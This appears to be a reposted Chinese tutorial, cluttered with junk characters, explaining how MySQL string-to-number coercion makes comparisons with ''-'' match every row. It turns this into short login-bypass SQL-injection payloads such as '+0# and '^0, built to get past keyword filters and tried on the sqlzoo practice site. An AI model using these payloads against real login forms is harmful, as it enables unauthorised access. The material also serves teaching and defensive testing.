我们先来看这样一个场景。
8 Y" V6 ` e l) c( w8 j/ X; _有以下表结构:
) }: [1 F$ h% S+ }+ m/ u7 w' D8 f I. H+ \
mysql> desc admin;! j) g% R3 Z; [8 L9 k7 v9 ^' C
+----------+--------------+------+-----+---------+----------------+
# W4 _2 d0 e" S: N| Field | Type | Null | Key | Default | Extra |
% {+ j% c/ D3 R6 G8 u I3 K+----------+--------------+------+-----+---------+----------------+ P2 H4 B. r" P+ g" n$ c5 y- ~9 m
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
' |* f: N5 L( ?9 [| name | char(32) | NO | UNI | NULL | |
# L& |' g9 y* J| password | char(32) | NO | UNI | NULL | |! w4 `9 E: T% C! L" M* M
+----------+--------------+------+-----+---------+----------------+! u; r( q! `9 X
3 rows in set (0.00 sec)
, `# i6 J: e: d* w8 Z! a执行select * from admin;,成功返回所有记录内容。8 `* K5 z9 q7 R C
3 l7 B$ r6 I' X5 x# B5 `9 H2 H. \( X2 s1 h3 w+ a; s8 U% e, P
+----+--------+----------------------------------+
/ [2 _ m2 E5 f5 x' ?! Z+ A| id | name | password |
& U" D1 `1 a8 N/ W4 [/ V: h3 ?+----+--------+----------------------------------+
1 J. a" x5 V8 d! t- S& P; t| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |" G O2 l" A9 O/ ?
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
6 }: h$ k' H6 e| 4 | n00b | ff80e8508d39047460921792273533a4 |
' ?! u3 w3 o/ ]9 p6 b+----+--------+----------------------------------+' J a5 w7 R# r6 h: s
3 rows in set (0.00 sec)
6 l4 K# k& n! D" t9 _ H b( m9 t执行select * from admin where name=”;,没有匹配到任何记录。 : Z w0 ]5 m: Q1 u$ o6 }, T& _7 W
$ b' W* O) g- ^% M4 dmysql> select * from admin where name = '';
" L9 Q* a4 d+ `. f* AEmpty set (0.00 sec)
) p( R" L5 D$ ?那么我们来执行select * from admin where name = ”-”;" `1 r1 P: I& N1 k* m0 U
0 {& @: Q% V3 o& g! Q
B9 C9 ^8 r- ]9 \$ h+ z
+----+--------+----------------------------------+7 D; f% v2 I4 V+ k, _
| id | name | password |
* K: ~9 t/ }& j1 R- ^9 k+----+--------+----------------------------------+
2 S+ H# J1 S9 | ~$ L| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
2 I* v2 H( b4 c" J: j9 K" Q| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
# u/ f0 n* b$ |* _| 4 | n00b | ff80e8508d39047460921792273533a4 |1 w0 W7 W6 D; T
+----+--------+----------------------------------++ u: V, `1 \6 ?7 U
3 rows in set, 3 warnings (0.00 sec)
6 V9 C5 j1 J8 P# V; L可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
; y1 @+ t2 w) Y7 o( Y
5 s7 W0 K6 ~7 `; }( ymysql> show warnings;. i& A' f6 R$ c! K2 _7 i
+---------+------+------------------------------------------, l4 _" T+ R/ O0 Q4 P2 Y. K) _- K
| Level | Code | Message
8 {+ u; k2 y* v" J) m+---------+------+------------------------------------------
5 O* G$ ]6 s, x1 L/ j. ^* U4 u F| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
0 n5 {3 l4 S. Y2 ], z# b1 [| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
1 i$ R6 N8 I7 H) [9 h; D0 {1 ~| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
; \+ G8 A& K7 \9 f+---------+------+------------------------------------------0 @5 F% j3 s+ Z! d9 M
3 rows in set (0.00 sec)5 ?7 n# k" O4 {7 H1 o
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 2 U# c% L; \* ~! O* h
3 A' s) ~9 [/ umysql> select ''-'';: \. W, x, }2 H* B$ \
+-------+' _3 |# F& K2 F' r. p _5 g
| ''-'' |
1 D5 y5 r/ S, i0 r1 ]1 i+-------+
: `8 l# q i5 J N; I| 0 |
4 F- N) l3 J9 X, G( e* t3 @% w2 {+-------+
' \( T) U2 A8 T+ u% A1 row in set (0.00 sec)
% g0 h I. \/ h: V返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
9 x1 E# M& v. L5 j: z
2 X+ z* [( Y/ p9 f7 ^" W; X2 s1 omysql> select CAST((select name from admin limit 1,1) as DECIMAL);7 t* b9 g$ n( ~5 ]
+-----------------------------------------------------+
8 {8 C" ~/ P+ Z4 ?| CAST((select name from admin limit 1,1) as DECIMAL) |
- y1 J# Y' c9 F* c. y+ F+-----------------------------------------------------+3 N% {. k' w. |8 i. f' z2 s
| 0 |. ~% y2 u8 j4 b
+-----------------------------------------------------+
7 o* Y3 ^% p) p U% V1 row in set, 1 warning (0.00 sec)$ w2 m3 g2 v& k% g0 X
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
5 G' `0 T7 ^ S' {" A
% Q3 C4 s' p! f4 Q" }* hSQL注入场景: http://www.sqlzoo.net/hack/ 7 W- R# X O" c' R. ?
: L# Q7 J0 V2 O; S
# t0 r/ H% ^3 C- K3 p( _' \
* K3 y- Q k) W
6 G; T! ]6 U3 E2 f7 c; e如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 : P2 a/ e- U3 D' w# E6 }
+ V' }: d' f- y4 B. L' z9 _/ d3 R那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 % {; P0 N: t6 P
3 D! m1 ~( L* }( A4 c8 J9 W
5 x4 U2 D* \* U9 r R) f/ T r
/ s3 U3 Q7 o6 X- a0 x. c
: i! \6 V2 i; q9 U仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 : B. v$ Q; V( v
0 d# M: ^6 J6 ~# I. e
* Y- _$ x! _3 d
) z2 N& n( j; `: Y5 y+ J除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可! i3 ? ~* p8 q+ t+ w
: V6 k9 B( @" c2 h5 n/ I
' d7 j5 |/ h/ z; _- Gmysql> select ''/1;( K. l+ u- v/ a5 e# @8 v; W
+------+4 r G% Q+ Z; ?) v4 b) _
| ''/1 |
( C* }6 W7 h( l Z+ {+------+- D, U& u! _# e% t; _& @/ Q2 I
| 0 |; h4 Q$ O$ d( `( l( X3 J3 W4 e1 S
+------+
# P5 h7 {( `- r8 q1 row in set (0.00 sec)/ h7 y; S( h$ y& ^( T' I: X" Q3 k1 P
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 ! V/ Z, H( u) i/ u" d' K8 }: C4 ~
% A$ u9 x3 p# p3 H% R5 X5 v2 N& w5 U利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
5 |: U% E2 ]" e |
|